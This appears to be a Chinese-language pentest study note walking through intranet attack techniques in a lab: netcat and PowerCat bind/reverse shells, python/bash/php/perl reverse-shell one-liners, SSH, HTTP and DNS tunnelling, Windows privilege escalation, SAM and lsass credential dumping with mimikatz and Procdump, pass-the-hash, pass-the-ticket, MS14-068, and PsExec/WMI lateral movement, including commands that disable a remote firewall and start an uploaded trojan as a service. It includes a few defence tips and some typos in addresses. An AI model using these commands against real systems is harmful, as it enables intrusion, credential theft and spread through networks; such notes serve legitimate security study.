  • 端口扫描
  • 端口监听
  • 文件传输
  • 简易聊天

2.3 获取Shell

​ shell分两种,一种为正向shell,一种为反向shell。如果客户端连接服务器,客户端想得获取服务器的shell,就称为正向shell。如果客户端连接服务器,服务器想要获取客户端的shell,就称为反向shell。

  • 正向Shell获取

目标主机上(IP:192.168.1.11)监听4444端口:

1
2
nc -lvp 4444 -e /bin/sh                           //linux
nc -lvp 4444 -e C:\WINDOWS\system32\cmd.exe //windows

注:-l 表示监听模式,-v表示详细输出,-p 指定端口

VPS连接目标主机的4444端口:

1
nc 192.168.1.11 4444
  • 反向Shell获取

本地主机(VPS)监听9999端口:

1
nc -lvp 9999

在目标主机上进行连接:

1
2
nc 192.168.11.144 9999 -e /bin/sh        //linux  
nc 192.168.11.144 9999 -e C:\WINDOWS\system32\cmd.exe //windows

2.4 在目标主机中没有nc时获取反向Shell

2.4.1 python反向Shell
  • VPS上监听本地2222端口:
1
nc -lvp 2222
  • 在目标主机上执行命令:
1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.4",2222));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
2.4.2 bash反向Shell
  • VPS上监听本地4444端口:
1
nc -lvp 4444
  • 在目标主机上执行命令:
1
bash -i >& /dev/tcp/192.168.1.4/4444 0>&1
2.4.3 PHP反向Shell
  • 在VPS上监听本地2222端口:
1
nc -lvp 2222
  • 在目标主机上执行下面命令:
1
php -r '$sock=fsockopen("192.168.1.4",2222);exec("/bin/sh -i <&3 >&3 2>&3");'
3.4.4 perl反向Shell
  • 在VPS上监听本地4444端口
1
nc -lvp 4444
  • 如果目标机上使用的是Perl语言,则我们可以使用Perl来建立反向Shell。目标主机上执行命令:
1
perl -e 'use Socket;$i=”192.168.1.4″;$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,”>&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/sh -i”);};'

2.5 内网代理

拓扑图如下:

image-20220311165758101

测试环境:攻击者VPS(KALI);一个小型内网;三台服务器。假设已经取得Web服务器权限,kali不能访问数据库服务器linux,web服务器可以访问数据库服务器。

测试目标:获取数据库服务器的shell。步骤如下:

  • 首先要在VPS上监听3333端口
1
nc -lvp 3333
  • 数据库服务器上允许命令:
1
nc -lvp 3333 -e /bin/sh
  • 最后在web服务器上执行命令:
1
nc -v 192.168.1.4 3333 -c "nc -v 1.1.1.200 3333"

注:-e 表示程序重定向,-c 执行命令

3. PowerCat

PowerCat可以说是nc的PowerShell版本,PowerCat可以通过执行命令回到本地运行,也可以使用远程权限运行。里面也加入了众多好用的功能,如文件上传,smb协议支持,中继模式,生成payload,端口扫描等等。

3.1 下载PowerCat

具体下载安装步骤百度即可。

3.2 测试环境

环境介绍:

Kali:192.168.227.129;

Windows7:192.168.227.161.192.168.130.150

Windows server 2008:192.168.130.100

img

image.png

3.3 通过nc正向连接PowerCat

  • Windows7执行命令:
1
powercat -l -p 8080 -e cmd.exe -v
  • Kali上运行:
1
nc 192.168.277.161 8080 -vv

注:-l 监听模式;-p 指定监听端口;-e 指定要启动进程的名称;-v 显示详情

3.4 通过nc反向连接PowerCat

  • Kali上运行:
1
netcat -l -p 8888 -vv
  • 在Windows7上运行下面命令:
1
powercat -c 192.168.56.129 -p 8888 -v -e cmd.exe

注:在Windows下,-c 表示参数用户提供想要连接的IP地址

3.5 通过PowerCat返回PowerShell

​ 前面的操作都是可以与nc进行交互的,但是,如果想要返回Powershell,则无法与nc进行交互。下面介绍让Windows7与Windows Server 2008建立正向连接。

  • 在Windows7下执行命令:
1
powecat -l -p 8080 –v
  • 在Windows Server 2008下执行命令:
1
powercat -c 192.168.130.150 -p 8080 -v –ep

注:-ep 参数用于返回PowerShell

3.6 通过PowerCat传输文件

  • Windows7下执行命令:
1
powercat -l -p 8080 -of  c:\Users\ctfwin7\Desktop\flag.txt -v
  • Windows Server 2008下执行命令:
1
powercat -c 192.168.130.150 -p 8080 -i c:\flag.txt -v

上述命令的解释是:Windows Server 2008将文件c:\flag.txt通过端口8080传输给Windows7,Windows7将文件存放于c:\Users\ctfwin7\Desktop\下,

注:-i 输入;-of 输出文件名

3.7 用PowerCat生成Payload(躲避杀软)

  • Windows7下执行:
1
2
powercat -l -p 8080 -e cmd -v -g >> shell.ps1   //想反弹shell
powercat -l -p 8080 -ep -v -g >> shell.ps1 //想反弹PowerShell
  • 将生成的shell.ps1拿到Windows server 2008下执行:
1
./shell.ps1
  • 最后Windows7上执行下面命令即可获得反弹的shell
1
powercat -c 192.168.130.100 -p 8000 -v

PS:也可以使用-ge生成编码后的脚本,然后直接使用powershell -e <编码>进行执行。

3.8 PowerCat DNS隧道

​ PowerCat也是一套基于DNS通信,PowerCat的DNS的通信是基于dnscat设计的(其服务端就是dnscat)。

  • 在kali下下载安装dnscat(请百度)
  • kali下执行:
1
ruby dns2.rb ms08067.test -e open --no-cache
  • Windows7下执行以下命令后就可以在kali看到dnscat上反弹的Shell了。
1
powercat -c 192.168.227.129 -p 53 -dns ms08067.test -e cmd.exe

注:-dns 表示使用DNS通信。

3.9 将PowerCat作为跳板

将win7作为跳板,让Kali连接winserver2008。

  • Windows server 2008下执行:
1
Powercat -l -v -p 9999 -e cmd.exe
  • Windows 7下执行:
1
Powercat -l -v -p 8000 -r tcp:192.168.130.100:9999
  • Kali下执行:
1
nc 192.168.227.161 8000 –vv

最后,kali和win7进行连接,且win7就可以将流量转发给winserver2008了。

四.应用层隧道技术

应用层的隧道通信技术主要利用应用软件提供的端口发送数据。常用的隧道协议有SSH.HTTPS/HTTPS与DNS。

1. SSH隧道

1.1 SSH简介

  • SSH 端口转发能够提供两大功能:

    1.加密 SSH Client 端至 SSH Server 端之间的通讯数据。

    2.突破防火墙的限制完成一些之前无法建立的 TCP 连接。

  • 用户名密码登录原理

    1.远程主机收到用户的登录请求,把自己的公钥发给用户

    2.用户使用该公钥,将登录密码加密后,发送给远程主机。

    3.远程主机用自己的私钥,解密登录密码,如果密码正确,就用户登录。

在学习SSH隧道之前,先复习下SSH的配置文件吧。SSH的配置文件:/etc/ssh/sshd_config,下面是一些安全加固的选项。

1
2
3
4
5
AllowTcpForwarding yes            #是否允许转发TCP协议
GatewayPorts yes #是否允许远程主机连接本地转发端口
PermitRootLogin yes #是否允许root登录
PasswordAuthentication yes #是否允许使用基于密码的认证
TCPKeepAlive yes #保持心跳,防止 ssh 断开

1.2 本地端口转发

  • 测试环境:外部VPS可以访问内网Web服务器,但是不能访问数据库服务器;内网Web服务器和数据库服务器可以相互访问。
  • 拓扑图:

image-20220311165843923

  • 渗透思路:以web服务器192.168.1.11为跳板,将内网数据库服务器1.1.1.10的3389端口映射到VPS机器192.168.1.10的2121端口,再次访问VPS的2121端口,就可以访问1.1.1.10的3389端口了。
  • 在VPS上执行以下命令,会要求服务Web服务器(跳板机)的密码。
1
ssh –CfNg –L 2121(VPS端口):1.1.1.10(目标主机IP):3389(目标端口) root@192.168.1.11
  • 在VPS上访问1153端口后,就可以发现已经与数据库服务器1.1.1.10的3389端口建立了连接。
1
rdesktop 127.0.0.1:1153
  • 一些参数解释:
    • -C 压缩传输,加快传输速度。
    • -f 将SSH转入后台执行,不占用当前的shell。
    • -N 建立静默连接(建立了连接,但是看不到具体会话)。
    • -g 允许远程主机连接到本地用于转发的端口。
    • -L 本地端口转发。
    • -R 远程端口转发。
    • -D 动态转发(socks代理)。
    • -P 指定SSH端口。

1.3 远程端口转发

  • 测试环境:外部VPS不能访问内网Web服务器,但是Web服务器可以访问外网VPS,但是数据库服务器与域控都不能访问VPS。目标:通过外网VPS访问数据库服务器的3389端口。
  • 拓朴图

  • 渗透思路:以web服务器192.168.1.11为跳板,将VPS的3307端口的流量转发到1.1.1.10的3389端口,然后访问VPS的3307端口,就可以访问1.1.1.10的3307端口。
  • 在web服务器1.1.1.116上执行如下命令:
1
ssh -CfNg -R 3307(VPS端口):1.1.1.10(目标主机IP):3389(目标端口) root@192.168.1.10
  • 在本地访问VPS的端口3307,就可以发现已经与数据库服务器1.1.1.10的3389端口建立了连接。
1
rdesktop 127.0.0.13307

1.4 动态转发

动态端口映射就是建立一个SSH加密的SOCKS 4/5代理通道,任何支持SOCKS 4/5协议的程序都可以使用这个加密通道进行代理访问。

  • 拓朴图

  • 在VPS上执行下面命令后,再输入Web服务器的密码。
1
ssh -CfNg -D 7000 root@192.168.1.11
  • 在本地打开浏览器。设置网络代理,设置SOCKS host为127.0.0.1,Port为7000。最后通过浏览器访问内网域控制器1.1.1.2。
  • 本地主机查看SSH进程正在监听7000端口:
1
netstat tunpl | grep ":7000"

1.5 防御SSH隧道攻击的思路

SSH隧道之所以被利用,主要是因为系统的访问控制措施还不够,可以从以下几点来防御SSH隧道攻击。

  • 在系统中设置SSH远程访问控制白名单,在ACL中限制只允许特定的IP地址才能连接SSH,系统设置完全带外管理等。
  • 内网限制SSH远程登录的地址与双向访问控制策略。

2. HTTP/HTTPS协议

2.1 简介

HTTP Service代理用于将所有的流量转发到内网,常见的代理工具有reGeorg.meterpreter.tunna等。

reGeory的特征非常明显。reGeory支持ASPX.PHP.JSP等Web脚本。

2.2 攻击步骤:

1.将脚本文件上传至目标服务器中,使用Kali 在本地访问远程服务器上的脚本文件,返回后,利用reGeorySocksProxy.py脚本监听本地的端口,即可建立一个通信链路。

1
python reGeorySocksProxy.py -u http://远程服务器IP:8080/tunnel.jsp -p 9999(本地端口)

隧道正常工作后,可以在本地kali 机器上使用ProxyChains之类的工具,访问目标内网中的资源。

2.3 防御

严格监控http隧道的情况,及时发现问题。

3. DNS协议

3.1 DNS隧道简介

用户管理僵尸网络和进行APT攻击的服务器叫做C&C服务器(Command and Control Server,命令及控制服务器)。C&C节点分为两中种,一种是C&C服务端(攻击者),另一种是C&C客户端(被控制的计算机)。C&C通信是指植入C&C客户端的木马或者后门程序与C&C服务端上的远程控制程序之间的通信。

DNS隧道的工作原理很简单:在进行DNS查询时,如果查询的域名不在DNS服务器本机的缓存中,就会访问互联网进行查询,然后返回结果,如果互联网上有一台定制的服务器,那么依靠DNS协议就可以进行数据包的交换,从DNS协议的角度来看,这样的操作只是一次次地查询某个特定的域名并且得到解析结果,但其本质的问题是,预期的返回结果应该是一个IP地址,而事实上不是——返回的可以是任意字符串,包括加密的C&C指令。简单地说,就是将其他协议封装在DNS协议中进行传输。

3.2 常用工具及攻击过程

  • dnscat2
    • 在VPS上部署域名解析
    • 在VPS上安装dnscat2服务端
    • 在目标主机上安装客户端
    • 反弹shell
  • iodine

3.3 防御DNS隧道攻击的方法

  • 禁止网络中的任何人向外部服务器发送DNS请求,只允许与受信任的DNS服务器通信。
  • 将邮件服务器/网关列入白名单并阻止传入和传出的流量中的txt请求。
  • 跟踪用户的DNS查询次数。
  • 阻止ICMP。

五.SOCKS代理

1. SOCKS代理简介

SOCKS是一种代理服务,可以将一端的系统连接到另一端。SOCKS支持多种协议,包括HTTP.FTP等。SOCKS分为 SOCKS4 与 SOCK5 两种类型:SOCKS4 只支持TCP协议;SOCKS5 不仅支持TCP/UDP协议,还支持多种身份验证机制等,其标准端口号为1080。SOCKS能与目标内网计算机进行通信,避免多次端口转发。

SOCKS代理可以理解为增强版的lcx。它在服务端监听一个服务端口。当有新的连接请求出现时,会先从SOCKS协议中解析目标的URL的目标端口,再执行lcx的具体功能。

正向代理简单来说就是主动通过代理去访问目标服务器,反向代理是指目标服务器通过代理来主动连接。

2. 常用的SOCKS工具

  • EarthWorm(EW)
    • 正向代理
    • 反向代理
  • reGeory
  • sSocks
  • SocksCap64
  • Proxifier
  • ProxyChanis

六.压缩数据

1. RAR

1.1 以rar格式压缩/解压

将E:\webs\目录下的所有内容打包为1.rar放入E:\webs\目录下

1
rar.exe a -k -r -s -m3 E:\webs\1.rar E:\webs\

将E:\webs\1.rar解压到当前根目录下

1
rar.exe e E:\webs\1.rar

注:参数 e 表示解压到当前根目录下。 x 表示以绝对路径解压。

1.2 分卷压缩/解压

分卷压缩E盘API目录下的所有文件及文件夹,设置每个分卷为20M

1
rar.exe a -m0 -r -v20m E:\test.rar E:\API

将E:\test.part01.rar解压到E盘的x1目录下

1
rar.exe x E:\test.part01.rar E:\x1

2. 7-Zip

七.文件上传与下载

1. 利用FTP上传

2. 利用VBS上传

3. 利用Debug上传

4. 利用Nishang上传

Nishang是一个Powershell攻击框架,它是PowerShell攻击脚本和有效载荷的一个集合。Nishang被广泛应用于渗透测试的各个阶段。

5. 利用bitsadmin下载

6. 利用Powershell下载

八.一些渗透常用的工具

nps

frp

reGeory

Proxifier

ProxyChanis

nc

lcx

权限提升和防御

windows中权限大概分为四种

  • User:普通用户权限
  • Administrator:管理员权限(可利用Windows机制将自己提升为System权限)
  • System:系统权限,可以对SAM等敏感文件进行读取
  • TrustedInstaller:Windows中的最高权限,可以修改系统文件

Windows常用提权方式:

  • 纵向提权
  • 横向提权

Windows常用提权方法:

  • 系统内核溢出漏洞提权

  • 数据库提权

  • 错误的系统配置提权

  • 组策略首选项提权

  • Web中间件漏洞提权

  • DLL劫持提权

  • 滥用高权限令牌提权

  • 第三方软件/服务提权

一:系统内核溢出漏洞提权分析及防范

1.基本流程

查询系统已安装补丁:

systeminfo

wmic qfe get Caption,Description,HotFixID,InstalledOn
将补丁编号与提权的EXP编号进行对比
查找并利用项管EXP

image-20220310175959204

2.其它工具

metasploit中的post/windows/gather/enum_patches
Windows Exploit Suggester
PowerShell中的Sherlock脚本

二: Windows操作系统配置错误

1.系统服务权限配置错误

Windows系统服务文件在操作系统启动时加载和执行,并在后台调用可执行文件。因此,如果一个低权限的用户对此类系统服务调用的可执行文件拥有写权限,就可以将该文件替换成任意可执行文件,并随着系统服务的启动获得系统权限。Windows服务是以System权限运行的,因此,其文件夹.文件和注册表键值都是受强访问控制机制保护的。但是,在某些情况下,操作系统中仍然存在一些没有得到有效保护的服务。

系统服务权限配置错误有如下两种可能:

服务未运行:使用任意服务替换原来的服务,然后重启服务
服务正在运行且无法被终止:利用DLL劫持技术并尝试重启服务来提权
工具:

PowerUp
metasploit中的service_permissions

2.注册表键值AlwaysInstalledElevated

注册表键值AlwayaInstalledElevated是一个策略设置项。Windows允许低权限用户以System权限运行安装文件。如果启用此策略设置项,那么任何权限的用户都能以NT AUTHORITY\SYSTEM权限来安装恶意的MSI文件。该漏洞产生的原因是用户开启了Windows Installer特权安装功能。
Windows Installer是Windows操作系统的组件之一,专门用来管理和配置软件服务。Windows Installer除了是一个安装程序,还用于管理软件的安装.管理软件组件的添加和删除.监视文件的还原.通过回滚进行灾难恢复等
Windows Installer分为客户端安装服务(Msiexec.exe)和MSI文件两部分,它们是一起工作的。Windows Installer通过Msiexec.exe安装MSI文件包含的程序。MSI文件是Windows Installer的数据包,它实际上是一个数据库,包含安装和卸载软件时需要使用大量指令和数据。Msiexec.exe用于安装MSI文件,一般在运行Microsoft Update安装更新或者安装一些软件的时候使用,占用内存较多。简单说,双击MSI文件就会运行Msiexec.exe。

工具

PowerUp的Get-RegistryAlwaysInstallElevated模块
metasploit的exploit/windows/local/always_install_elevated模块

3.可信任服务路径漏洞

Windows服务通常都是以System权限运行的,所以系统在解析服务对应的文件路径中的空格时,也会也会以系统权限运行。
例如,一个文件路径C:\Program Files\Some Folder\Service.exe,对于路径中的每一个空格,Windows都会尝试寻找并执行与空格前面的名字相匹配的程序。操作系统会对文件路径中空格的所有可能情况进行尝试,直至找到一个能够匹配的程序。在本例中,Windows会一次尝试确定和执行下列程序:

C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe
因此,如果一个服务的可执行文件的路径没有被双引号引起来且包含空格,那么这个服务就是有漏洞的。
1.检测漏洞

1
wmic service get name,displayname,pathname,startmode | findstr /i "Auto" |findstr /i /v "C:Windows\\" |findstr /i /v """

2.漏洞利用

使用icacls检测是否具有写权限icacls “c:\program File\program folder”
metasploit的windows service trusted path privilege escalation模块

4.自动安装配置文件

网络管理员在内网中给多台机器配置同一个环境时,通常会使用脚本批量部署。在这一过程中,会使用安装配置文件,这些文件中可能还包含本地管理员账号和密码信息。
查找这些文件,并搜寻其信息。

5.计划任务

如果攻击者对以高权限运行的任务所在的目录具有写权限,就可以使用恶意程序覆盖原来的程序。这样,在计划任务下次执行时,就会以高权限来运行恶意程序。

1.查看计划任务

schtasks /query /fo LIST /v

2.使用AccessChk查看目录配置情况,看有没有高权限的。

6.Empire内置模块

AllCheck模块

三:组策略首选项提权分析及防范

管理员在域中新建一个组策略后,操作系统会自动在SYSVOL共享目录中生成一个XML文件,该文件中保存了该组策略更新后的密码。该密码使用AES-256加密算法。

1.工具

PowserSploit的Get-GPPPassword.ps1
Metasploit的post/windows/gather/credentials/gpp
empire的privesc/gpp

2.防御措施

更新KB2962486补丁
设置SYSVOL访问权限
将包含组策略密码的XML文件删除
不要把密码文件放在所有域用户都有权访问的文件中

四:绕过UAC提权分析及防范

UAC(USer Account Control,用户账户控制)要求用户在执行可能影响计算机运行的操作或者在进行可能影响其他用户的设置之前,拥有相应的权限或者管理员密码。UAC在操作启动前对用户身份进行验证。
UAC有如下四种设置:

始终通知
仅在程序试图更改我的计算机时通知我(默认设置,当Windows程序要使用更高级别权限时,不会通知用户。但是当第三方程序要求更高级别的权限时,会提示本地用户)
仅在程序试图更改我的计算机时通知我(不降低桌面亮度)
从不提示
1.工具

metasploit的exploit/windows/local/bypassuac模块
metasploit的exploit/windows/local/ask模块
Nishang中的invoke-PsUACme模块
Empire的bypassuac模块

五:令牌窃取分析及防范

令牌(Token)是指系统中的临时密钥,相当于账户和密码,用于决定是否允许当前请求及判断当前请求时属于哪个用户的。获得了令牌,就可以在不提供密码或其他凭据的情况下访问网络和系统资源。这些令牌将持续存在于系统中(除非系统重启)。
令牌具有随机性和不可预测性,常见令牌类型:

访问令牌:代表访问控制操作主体的系统对象
密保令牌:也叫做认证令牌或者硬件令牌,是一种用于实现计算机身份校验的设备,例如U盾
会话令牌:交互会话中唯一的身份标识符
伪造令牌攻击的核心是Kerberos协议,它支持两种令牌:

授权令牌(Delegation Tokens):支持交互式登录
模拟令牌(Impersonation Tokens):支持非交互式的会话
1.工具

metasploit的use incognito
Rotten Patato本地提权(烂土豆提权)
Empire的mimikatz

六:无凭证条件下的权限获取分析及防范

1.LLMNR

本地链路多播名称解析(LLMNR)是一种域名系统数据包格式。当局域网中的DNS服务器不可用时,DNS客户端会使用LLMNR解析本地网段中机器的名称,直到DNS服务器回复正常为止。LLMNR支持IPv6

LLMNR工作流程如下:

DNS客户端在自己的内部名称缓存中查询名称
如果没有找到,主机将向主DNS发送名称查询请求
如果主DNS没有回应或收到了错误的信息,主机会向备DNS发送查询请求
如果备DNS没有回应或收到了错误的消息,将使用LLMNR进行解析
主机通过UDP协议向组播地址224.0.0.252的5335端口发送多播查询请求,以获取主机名所对应的IP地址.范围仅限于本地子网。
本地子网中所有支持LLMNR的主机在收到查询请求后,会对比自己的主机名,如果不同,就丢弃;如果相同,就向查询主机发送包含自己IP地址的单播信息
2.NetBIOS
NetBIOS是一种网络协议,一般用在局域网中,提供的三种服务如下:

NetBIOS-NS(名称服务):主要用于名称注册和解析,以启动会话和分发数据报。该服务需要使用域名服务器来注册NetBIOS的名称,默认监听UDP137端口,也可以使用TCP137端口
Datagram Distribution Service(数据分布服务):无连接服务。该服务负责进行错误检测和恢复,默认监听UDP138端口
Session Service(会话服务):允许两台计算机建立连接,允许电子邮件跨越多个数据包进行传输,提供错误检测和恢复机制。默认使用TCP139端口
3.Net-NTLM

NTLM Hash是指Windows操作系统的Security Account Manager中保存的密码散列值
Net-NTLM Hash是指在网络环境中国经过NTLM认证的散列值
4.LLMNR和NetBIOS欺骗

横向移动分析和防御

横向移动原理

在渗透测试中拿到目标计算机的用户明文密码或者NTLM Hash后,可以通过PTH(凭据传递)的方法,将散列值或者明文密码传送到目标主机进行验证,与目标主机建立连接后,可以使用相关方法在远程Windows操作系统中执行命令

在实际的网络环境中,针对此类情况,网络管理人员可以通过配置Windows系统自带的防火墙或组策略进行防御

一:IPC远程连接及相关命令

1.原理

IPC共享命名管道,为了实现进程间通信而开放命名的管道。IPC可以通过验证用户和密码获取相应的权限,通常在远程管理计算机和查看计算机的共享资源时使用。

通过IPC可以与目标机器建立连接。利用这个连接不仅可以访问目标机器中的文件,进行上传下载等操作,还可以在目标机器上运行其他命令,以获取目标机器的目录结构.用户列表等信息

2.利用条件

  • 开启139.445端口
  • 管理员开启默认共享

3.使用Windows自带的工具获取远程主机信息

1) 建立删除

建立一个ipc

1
net use \\192.168.1.3\ipc$ "密码" /user:账号

img

net use 查看已经建立的连接

img

删除ipc连接

1
net use \\192.168.1.3\ipc$ /del

  

2) dir命令

建立ipc连接后列出远程主机中的文件

1
dir  \\ip地址\c$

img

还有一种方法更便捷

将目标主机的c盘映射到本地z盘

1
net use z: \\192.168.1.3\c$

img

3) tasklist任务

使用tasklist命令的/S(IP地址)./U(账号)./P(密码)参数列出远程主机上运行的进程

1
tasklist /S 192.168.1.3 /U user /P password

img

4) at命令计划任务

(1)首先使用net time确定远程主机当前系统时间

1
net time \\192.168.1.3

img

(2)使用copy命令将payload文件复制到远程目标机器中

1
copy calc.bat \\192.168.1.3\c$

img

(3)使用at创建计划任务

1
at \\192.168.1.3 13:56 C:\calc.bat

img

等待时间到了就会自动执行

img

(4)使用at远程执行命令

先将执行结果写入本地文本文件

1
at \\192.168.1.3 14:09 cmd.exe /c "ipconfig >C:/1.txt"

img

使用type读取

img

(5)清除at记录

1
at \\192.168.1.3 3 /delete //ip加计划任务的id

img

5) schtasks命令计划任务

win2008及之后的版本的操作系统已经将at命令废弃了,于是攻击者开始用schtasks代替at命令 

在远程主机创建一个名为test的计划任务。该计划任务在开机时启动,启动程序为C盘下的calc.bat,启动权限为System

1
schtasks /create /s 192.168.1.3 /tn test /sc onstart /tr c:\calc.bat /ru system /f

使用schtasks命令时若已经建立了ipc连接则不需要输密码,若没建立

/u:账号

/p:密码

img

img

或者创建定时任务

1
schtasks /create /s 192.168.1.3 /tn test /sc once /st 17:07 /tr c:\calc.bat /ru system /f /u administrator /p Lirenyu579  

Schtasks命令详解

4.sc创建任务

后续的学习中发现计划任务大多数的时候都没有权限,但也认识了sc这个命令

sc创建任务把防火墙远程关掉

1
2
sc \\192.168.200.64 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\192.168.200.64 start unablefirewall

sc创建任务执行上传的木马

1
2
sc \\192.168.200.64 create Startup binpath= "C:\360.exe"
sc \\192.168.200.64 start Startup

二:Windows散列值获取分析

Windows操作系统中的密码一般由两部分组成,一部分为LM Hash ,另一部分为NTLM Hash。

LM Hash本质是DES加密,较易破解,但为了保证系统的兼容性,Windows只是将LM Hash禁用了,从win vista和win2008版本开始默认禁用。如果LM Hash被禁用,攻击者抓取的LM Hash通常为:aad3b435b51404eeaad3b435b51404ee

NTLM Hash基于MD4加密,个人版windows vista。服务器版win2003之后的认证方式都是NTLM Hash

1.单机密码抓取与防范

想要抓取散列值或密码需要system权限

散列值和其他安全验证信息都保存在sam文件中。lsass.exe进程用于实现windows的安全策略,可以使用工具将散列值和密码从内存中的lsass.exe进程或sam文件导出。sam文件保存在windows/system32/config,该文件是锁定的不可复制。但在渗透测试中可以等关闭windows系统后,使用PE盘进入文件管理环境,直接复制sam文件

2.通过SAM和System文件抓取密码

(1)首先无工具导出sam文件

1
2
reg save hklm\sam sam.hive 
reg save hklm\system system.hive

img

(2)使用mimikatz读取获得NTLM Hash

将刚刚导出的文件和mimiKatz放在同一目录下,运行mimikatz

1
lsadump::sam /sam:sam.hive /system:system.hive

img

3.使用mimikatz在线读取sam文件

管理员运行,在mimikatz目录打开命令行

1
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"

img

4.使用mimikatz离线读取lsass.dmp文件

(1)使用Procdump导出lsass.dmp文件

Procdump是微软官方的 工具,可在命令行将lsass导出,且杀软不会拦截

1
Procdump.exe -accepteula -ma lsass.exe lsass.dmp

img

(2)使用mimikatz导出lsass.dmp文件中的密码散列值

导入lsass.dmp文件

1
mimikatz.exe "sekurlsa::minidump lsass.DMP"

img

(3)导出密码散列值

1
sekurlsa::logonPasswords full

img

5.使用PowerShell对散列值进行Dump操作

使用Nishang中的Get-PassHashes.ps1

先导入nishang

1
Import-Module .\nishang.psm1

img

三:单机密码抓取防范

1.Wdigest防止明文密码泄露

微软为了防止明文密码泄露发布了补丁KB2871997,关闭了Wdigest功能。Windows server2012以上默认关闭。  

开启Wdigest Auth

1
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UserLogonCredential /t Reg_DWORD /d 1 /f

关闭Wdigest Auth

1
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UserLogonCredential /t Reg_DWORD /d 0 /f

查询

1
reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UserLogonCredential  

设置了之后,使用mimikatz就只能抓取NTLM Hash,不能获取明文密码  

2.设置Active Directory 2012 R2功能级别

windows server 2012新增了一个名为受保护的用户的用户组,只要将用户放入改组,攻击者就无法使用mimikatz等工具抓取密码及散列值

 img

3.防御mimikatz攻击

mimikatz在抓取密码及散列值时需要使用Debug权限,因为mimikatz需要与lsass进程进行交互,如果没有debug权限就不能读取lsass。

因此可以将拥有debug权限的管理员从administrators组中删除,mimikatz无法获取debug权限将无法使用

四:哈希传递攻击(PTH.PTK)

在域环境中,大量计算机在安装时会使用相同的本地管理员账号和密码,因此如果攻击者获取了一台计算机的NTLM Hash值,就可以通过哈希传递攻击的方式登陆到内网中的其他机器

1.使用NTLM Hash进行哈希传递攻击

1
mimikatz "privilege::debug" "sekurlsa::pth /user:administrator /domain:hacke /ntlm:3f57163975979b7a85ff54a641a63b2d"

img

列出域控制器c盘的内容

1
dir \\dc\c$

img

若无法传递可以尝试 修改注册表

1
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f

2.使用AES-256密钥进行哈希传递攻击

使用mimikatz抓取AES-256密钥

1
2
privilege::debug
sekurlsa::ekeys

img

1
mimikatz "privilege::debug" "sekurlsa::pth /user:administrator /domain:hacke /aes256:00efd5d3f7e68e667fbc16d1691270faa6ca32c8bb6b0516ec602b7205fb4110"

但是将密钥导入之后仍然不能访问远程主机。这是因为必须要在目标机器上安装KB2871997,才可以通过aes-256横向移动

img  

五:票据传递攻击(PTT)

1.mimkatz导出票据

使用mimikatz将内存中的票据导出

1
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export"

img

当前目录会出现多个服务的票据文件

使用mimikatz清除内存中的票据

1
2
kerberos::purge  \\清除票据
kerberos::tgt \\查看票据

img

将票据文件注入内存,选择@krbtgt文件

1
mimikatz "kerberos::ptt "C:\Users\administrator.WIN-2008\Desktop\x64\[0;3e4]-2-1-40e10000-WIN-2008$@krbtgt-HACKE.TESTLAB.kirbi"

img

1
mimikatz "kerberos::ptt "C:\Users\testuser\Desktop\x64\[0;123ff2]-2-0-60a10000-Administrator@krbtgt-HACKE.TESTLAB.kirbi"

但这里我没成功,没有administrator的票据。后面试了一下如果登陆administrator用户可以直接访问远程dc,再次切换回来低权限的用户testuer之后,拿到了administrator的票据,也成功访问了dc。但这里还是需要管理员的权限来导出票据

2.利用ms14-068漏洞

这种方法不需要管理员的权限就能实现普通用户直接获取域控system权限  

首先whoami /user 查看sid

img

第二步用mimikatz清除票据

1
2
kerberos::purge  \\清除票据
kerberos::tgt \\查看票据

或者cmd清除

1
klist purge \\清除klist    \\查看

第三步利用ms14-068生成TGT数据

ms14-068.exe -u域成员名@域名 -s sid -d 域控制器地址 -p 域成员密码

1
ms14-068.exe -u testuser@hacke.testlab -s S-1-5-21-954094320-202977030-1482179831-1105 -d 192.168.1.1 -p xxxxxxxx

第四步用mimikatz将生成的票据注入内存

1
kerberos::ptc C:\Users\testuser\Desktop\TGT_testuser@hacke.testlab.ccache

img

这里我的域控版本比较高应该是打了补丁的,所以没成功。

  

六:PsExec的使用

Psexec起初用于大批量Windows主机的运维,在域环境下效果很好。但攻击者渐渐开始使用PsExec通过命令行环境与目标机器连接,甚至控制目标机器,且不需要通过远程桌面协议进行图形化控制,降低了恶意操作被管理员发现的可能性。(PsExec是windows提供的工具,所以杀软将其列在白名单中)

1.PsTools工具包中的PsExec

在建立了ipc$(administrator)的情况下执行如下命令,获取System权限的shell

1
PsExec.exe -accepteula -s \\192.168.1.3 cmd.exe

-accepteula 确认参数,使用该参数不会弹出确认框

-s 以system权限运行,获得system权限的交互式shell,否则就是administrator权限

img

若没建立ipc$连接,可以使用-u -p参数连接

1
PsExec.exe -accepteula -s \\192.168.1.3 -u administrator -p admini!@# cmd.exe

  

2.Metasploit中的PsExec

img

使用第九个 exploit/windows/smb/psexec  

1
show options //查看参数set rhost 192.168.200.24 //ipset smbuser administrator //账户set smbpass admin!@# //密码

img

返回system权限

七:WMI的使用

WMI全名 Windows Management Instrumentation 。WMI由一系列工具组成,可以在本地或远程管理计算机系统。

PsExec在内网被严格监控,很多反病毒的厂商将PsExec放入黑名单,于是攻击者就开始利用WMI进行横向移动,并且使用wmiexec进行横向移动的时候,Windows操作系统默认不会将WMI的操作记录在日志中。

基本命令

命令行执行命令,使用目标系统的cmd.exe 执行ipconfig将执行结果保存在ip.txt

1
wmic /node:192.168.1.3 /user administrator /password:admin!@# process call create "cmd.exe /c ipconfig >c:\ip.txt"

img

接着建立ipc$连接,使用type命令读取执行结果

img

